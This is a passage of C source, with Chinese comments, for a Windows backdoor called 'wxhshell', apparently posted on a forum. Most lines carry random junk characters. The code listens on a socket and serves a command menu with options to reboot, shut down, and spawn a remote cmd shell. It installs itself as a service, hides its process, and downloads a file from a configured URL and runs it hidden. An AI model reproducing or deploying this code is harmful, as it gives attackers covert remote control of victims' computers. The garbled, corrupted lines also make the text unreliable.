  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MDh^ic5  
  } 5ofsJ!b'  
  else { e!|T Tap  
4I<U5@a  
    switch(cmd[0]) { 8CN 0Q&|  
  ]2'{W]m  
  // 帮助 X~5kgq0"  
  case '?': { *q+z5G;O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o9D]\PdL>  
    break; ]Qb85;0)  
  } Tq=OYJq5U  
  // 安装 <-m?l6  
  case 'i': { tx01*2]pX  
    if(Install()) 7K}Sk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;t8v\  
    else )4/227b/(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p?+*R@O  
    break; +x"cWOg  
    } [MVG\6Up(  
  // 卸载 Uq}-<q  
  case 'r': {  2t7Hu)V  
    if(Uninstall()) |XdkJv]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nkvkHh  
    else Z )f\^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @f wk  
    break; }v?_.MtS  
    } D/=  AU  
  // 显示 wxhshell 所在路径 hWqI*xSaJ  
  case 'p': { yxU??#v|g  
    char svExeFile[MAX_PATH]; #`9D,+2iB%  
    strcpy(svExeFile,"\n\r"); -8r9DS -/W  
      strcat(svExeFile,ExeFile); C/L+:b&x~  
        send(wsh,svExeFile,strlen(svExeFile),0); gAWrn^2L5  
    break; h"~GaI  
    } l;gj],*  
  // 重启 (ON_(MN  
  case 'b': { G~\ SI.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ve|`I=?2  
    if(Boot(REBOOT)) :jp4 !0w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d=B DR^/wA  
    else { ADa'(#+6  
    closesocket(wsh); 0$9I.%4jAJ  
    ExitThread(0); Tpv]c  
    } uJP9J  U  
    break; ped3}i+|]  
    } >{dj6Wo  
  // 关机  #' =rv  
  case 'd': { ]k (n_+!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6jIW)C  
    if(Boot(SHUTDOWN)) Gv};mkX[N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 #zw Y  
    else { G 39  
    closesocket(wsh); .7HnWKUV  
    ExitThread(0); n?QpVROo\  
    } cQaEh1n  
    break; ]qJ6#sAw75  
    } nFn@Z'T$N  
  // 获取shell \gE3wmSJ,  
  case 's': { y!9facg  
    CmdShell(wsh); F+`DfI]/m  
    closesocket(wsh); +C{ %pF  
    ExitThread(0); jy]< q^J  
    break; $z9z'^HqO  
  } ZZa$/q"  
  // 退出 ]byj[Gd  
  case 'x': { H:ar&o#(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~?pF'3q  
    CloseIt(wsh); nx(O]R,Sw  
    break;  (BgO<  
    } z90=,wd  
  // 离开 Ah2%LXdHA  
  case 'q': { /#PEEN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9^m&  [Z  
    closesocket(wsh); -L/5Nbup  
    WSACleanup(); (YjY=F  
    exit(1); [`^x;*C  
    break; -4JdK O  
        } t-\S/N  
  } urHQb5|T}  
  } IkSzjXE{  
y?-wjJS>  
  // 提示信息 ,/\%-u? 1x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wovWEtVBU  
} LB1.N!q1  
  } 9-+6Ed^2  
!U$ %Jz  
  return; 'M\ou}P  
} $S$%avRX  
z(^p@&r)F  
// shell模块句柄 3\FiQ/?  
int CmdShell(SOCKET sock) ,vQkvuz  
{ 7581G$@ym  
STARTUPINFO si; +fzZ\  
ZeroMemory(&si,sizeof(si)); }k}5\%#li5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t=~5 I >  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kTG}>I  
PROCESS_INFORMATION ProcessInfo; EkV v  
char cmdline[]="cmd"; p/WEQ2   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =5_8f  
  return 0; tkWWR%c"  
} dL")E|\\k  
+v&+8S`+  
// 自身启动模式 !.iA^D//]  
int StartFromService(void) _y`'T;~OY  
{ a2iaP  
typedef struct NF0} eom  
{ P G) dIec  
  DWORD ExitStatus; bn^^|i  
  DWORD PebBaseAddress; dOqwF iO  
  DWORD AffinityMask; 2`t4@T  
  DWORD BasePriority;  ~J"*ahl  
  ULONG UniqueProcessId; %Q}#x  
  ULONG InheritedFromUniqueProcessId; 9n!3yZVSe  
}   PROCESS_BASIC_INFORMATION; RXgi>Hz  
O" ['.b  
PROCNTQSIP NtQueryInformationProcess; ,[+gE\z{{u  
 7P]_03  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SL:o.g(>4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GS$OrUA  
W3 2mAz;  
  HANDLE             hProcess; V# w$|B\  
  PROCESS_BASIC_INFORMATION pbi; Lc*i[J<s  
^#exs Xy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ykl./uY'  
  if(NULL == hInst ) return 0; EEn}Gw  
H*yX Iq:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vjj30f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,/:#=TuYm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y.F:1<FAtf  
#(bMZ!/(  
  if (!NtQueryInformationProcess) return 0; u;~/B[  
X,x{!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8*4X%a=Of  
  if(!hProcess) return 0; H <F6o-*  
+n^$4f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n`0}g_\q  
A(Ugam~}  
  CloseHandle(hProcess); x1$fkNu  
RH6qi{)i!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FB6`2E%o  
if(hProcess==NULL) return 0; Q>JJI:uC4  
cL<  
HMODULE hMod; s+C&\$E  
char procName[255]; (tx6U.Oy  
unsigned long cbNeeded; ,t5Ku)eNm  
sh:sPzQ%Jv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :s$ rD  
#{UM4~|:  
  CloseHandle(hProcess); !95ZK.UT  
^0ipM/Lg  
if(strstr(procName,"services")) return 1; // 以服务启动 qL,!  
1nX/5z_U  
  return 0; // 注册表启动 zg0)9 br  
} ^yu0Veypy  
+ Q}Y?([  
// 主模块 80&JEtRh  
int StartWxhshell(LPSTR lpCmdLine) # x!47Y{  
{ o.k eM4OQ  
  SOCKET wsl; )(_}60  
BOOL val=TRUE; 2u*o/L+  
  int port=0; "qIO,\3T  
  struct sockaddr_in door; f,k'gM{K  
Vqb4 MWW  
  if(wscfg.ws_autoins) Install(); SwV0q  
g"FG7E&  
port=atoi(lpCmdLine); !WR(H&uBr\  
bezT\F/\  
if(port<=0) port=wscfg.ws_port; '_@Y  
[ C,<Q  
  WSADATA data; =^|^" b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V&eti2 &zO  
u-qg9qXJb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ic%<39  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p'0jdb :S  
  door.sin_family = AF_INET; M-e!F+d{od  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VL?ubt<  
  door.sin_port = htons(port); <_dyUiT$J  
p&>*bF,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q?nXhUD  
closesocket(wsl); ug.mY=n '  
return 1; -}/u?3^-  
} j#f+0  
'nz;|6uC  
  if(listen(wsl,2) == INVALID_SOCKET) { m$ )yd~  
closesocket(wsl); iKnH6} `?U  
return 1; X|TEeE c[L  
} j&6,%s-M`a  
  Wxhshell(wsl); @{iws@.  
  WSACleanup(); wZJpSkcEx  
9z$]hl  
return 0; : ^F+m QN  
n (7m  
} Kfa7}f_  
:!Wijdq  
// 以NT服务方式启动 ZR.1SA0x?O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HJhPd#xCW  
{ peCmb)>Sa  
DWORD   status = 0; iS&~oj_-%  
  DWORD   specificError = 0xfffffff; >6*"g{/  
X6kB R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'b:e`2fl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O$k;p<?M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |R8=yO%(  
  serviceStatus.dwWin32ExitCode     = 0; uSLO"\zysX  
  serviceStatus.dwServiceSpecificExitCode = 0; l=8)_z;~D  
  serviceStatus.dwCheckPoint       = 0; O#  .^}  
  serviceStatus.dwWaitHint       = 0; ^m;dEe&@F  
$/90('D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $e& ( ncM  
  if (hServiceStatusHandle==0) return; [HI&>dm=$  
?v-IN  
status = GetLastError(); ^.5 L\  
  if (status!=NO_ERROR) @=,2{JF*6  
{ 4!p ~Mr[E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D M(WYL{  
    serviceStatus.dwCheckPoint       = 0; !8yw!hA  
    serviceStatus.dwWaitHint       = 0; et(/`  
    serviceStatus.dwWin32ExitCode     = status; , mEFp_a+  
    serviceStatus.dwServiceSpecificExitCode = specificError; @qmONQ eb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %lNv?sWb  
    return; ,B%M P<Rz1  
  } Qj5~ lX`W  
0L"CM?C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xx0s`5  
  serviceStatus.dwCheckPoint       = 0; gvvl3`S{  
  serviceStatus.dwWaitHint       = 0; vZj^&/F$=g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^29w @*  
} g <^Y^~+E  
$C0Nv Jf  
// 处理NT服务事件,比如:启动、停止 8:;_MBt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xnmIo? hC  
{ pW7vY)hj  
switch(fdwControl) Zs<}{`-  
{ lS]<~  
case SERVICE_CONTROL_STOP: nkTH#WTfR  
  serviceStatus.dwWin32ExitCode = 0; /tl/%:U*.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x7K   
  serviceStatus.dwCheckPoint   = 0; C=(-oI n  
  serviceStatus.dwWaitHint     = 0; zqfv|3-!}  
  { YW "}hU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D.Rk{0se8  
  } *#1&IJPI  
  return; {Md xIp[  
case SERVICE_CONTROL_PAUSE: [tsi8r =T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eT1b88_  
  break; J01w\#62pQ  
case SERVICE_CONTROL_CONTINUE: \ }xK$$f2,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 35z]pn%L  
  break; (RG\U[  
case SERVICE_CONTROL_INTERROGATE: F>jPr8&  
  break; !R;P"%PHV  
}; n={} ='  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H `y.jSNi  
} 6TJ5G8z_  
rHPda?&H  
// 标准应用程序主函数 x%d+~U;$&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {9U<!  
{ 'EU{%\qM  
SY|r'8Z%Q  
// 获取操作系统版本 %<$CH],%  
OsIsNt=GetOsVer(); B+S &vV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -q' np0H  
IF~i*  
  // 从命令行安装 JbpKstc;  
  if(strpbrk(lpCmdLine,"iI")) Install(); O$u;]cg  
(q`Jef  
  // 下载执行文件  hh<5?1  
if(wscfg.ws_downexe) { &;L4Cj$ q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B%gk[!d}8  
  WinExec(wscfg.ws_filenam,SW_HIDE); XRXKO>4q  
}  {Uxa h  
 v'i"Q  
if(!OsIsNt) { /*p4(D_A  
// 如果时win9x,隐藏进程并且设置为注册表启动  =<fH RX`  
HideProc(); /+4Dq4{ t)  
StartWxhshell(lpCmdLine); ;e;lPM{+  
} pcXY6[#N  
else I8HUH* |)n  
  if(StartFromService()) ~J?O~p`&  
  // 以服务方式启动 0CS^S1/[B`  
  StartServiceCtrlDispatcher(DispatchTable); 2+" =i/8  
else }u cqzdk#2  
  // 普通方式启动 7Z5,(dH>  
  StartWxhshell(lpCmdLine); Gir_.yc/  
zk5sAHQ  
return 0; q)gZo[]~  
}
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只看该作者 1 发表于: 2006-10-10
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